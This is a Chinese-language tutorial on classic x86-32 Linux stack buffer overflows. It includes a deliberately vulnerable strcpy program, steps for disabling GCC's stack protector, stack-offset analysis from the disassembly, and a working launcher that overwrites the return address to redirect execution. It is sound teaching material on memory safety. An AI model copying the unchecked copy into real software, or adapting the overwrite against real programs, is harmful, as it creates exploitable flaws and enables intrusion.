x86-32-Linux下栈溢出攻击原理

在x86-32-Linux下构造一个栈溢出攻击

栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。

IA-32下C函数调用约定:

  1. 调用者将参数从右向左入栈,构造参数
  2. call 指令短跳转,会将call指令下一条指令地址(RA)入栈,供RET指令返回使用
  3. 被调用函数创建栈帧,push %ebp; mov %esp, %ebp;

则一个函数调用的栈帧情况:

void func(int a,int b,int c) {
	int tmp = 0x99;
	return ;
}
void main() {
	func(1,2,3);
}
0x0 参数C
0x4 参数B
0x8 参数A
0xC RA地址
0x10 旧%ebp
0x14 tmp变量值0x99

攻击原理: 利用strcpy(dst, src)函数,对写入的src数据长度不做检查的特性,对函数的栈数组进行写溢出攻击。

假设待写溢出的数组在test()中

// a.c
#include 
#include 

void test(char *str) {
        char buffer[16]; // 待攻击处
        strcpy(buffer, str);
        printf("%s\n", buffer);
}

void hacker(void) {
        printf("being hacked\n");
}

int main(int argc,char *argv[]) {
        test(argv[1]);
        return 0;
}

gcc a.c -o a.out 编译后,objdump -d a.out反汇编查看栈布局。

发现GCC对strcpy()的调用处插入栈检查代码call 8048398 <__stack_chk_fail@plt>.

首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector,查看反汇编发现没有了栈检查代码。

于是根据反汇编代码来得到test()的栈帧布局情况。
x86-32-Linux下栈溢出攻击原理_第1张图片

sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间,布局如下。

并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址

数组buffer的起始地址是-0x18(%ebp),于是便能够知道数组在栈帧的中的位置

%ebp+0x8 参数 char *str
%ebp+0x4 RA返回地址
%ebp当前的值,也就是test的栈底,0 main的%ebp
%ebp-0x4
ebp-0x8
-0xC buf 12~15
-0x10 buf 8~11
-0x14 buf 4~7
-0x18 buf 0~3
-0x1C
%ebp-0x20
%ebp-0x24 = %esp + 0x4 strcpy的参数:char *str
%ebp-0x28 = %esp strcpy的参数:buf地址=-0x18(%ebp)

既然有了buffer数组的位置,那么就能得到buffer数组到RA返回地址处的长度=16+3*4=28字节,28字节后面开始的 4字节便是需要构造的"攻击"跳转地址

假设我们想要其跳转到void hacker()函数,写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址

x86-32-Linux下栈溢出攻击原理_第2张图片

有了hacker()函数地址,便能构造写溢出攻击字符串的内容了,28字节的垃圾字符+4字节hacker()函数地址+\0

代码如下:

// test.c
#include 
#include 

char tmp[33];

int main() {
        for (int i=0; i<28; i++)
                tmp[i] = 'F';
        // 对应hacker()地址 0x08048439
        tmp[28] = '\x39';
        tmp[29] = '\x84';
        tmp[30] = '\x04';
        tmp[31] = '\x08';
        tmp[32] = '\0';
        char *argv[3] = { "./a.out", tmp, NULL};

        execve(argv[0], argv, NULL);
        return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -std=c99

./test运行结果如下:栈溢出攻击成功
3

总结

需要根据反汇编代码来查看函数栈中的变量的布局,然后根据栈变量布局再来构造溢出字符串。

你可能感兴趣的:(Linux学习,linux,栈溢出攻击)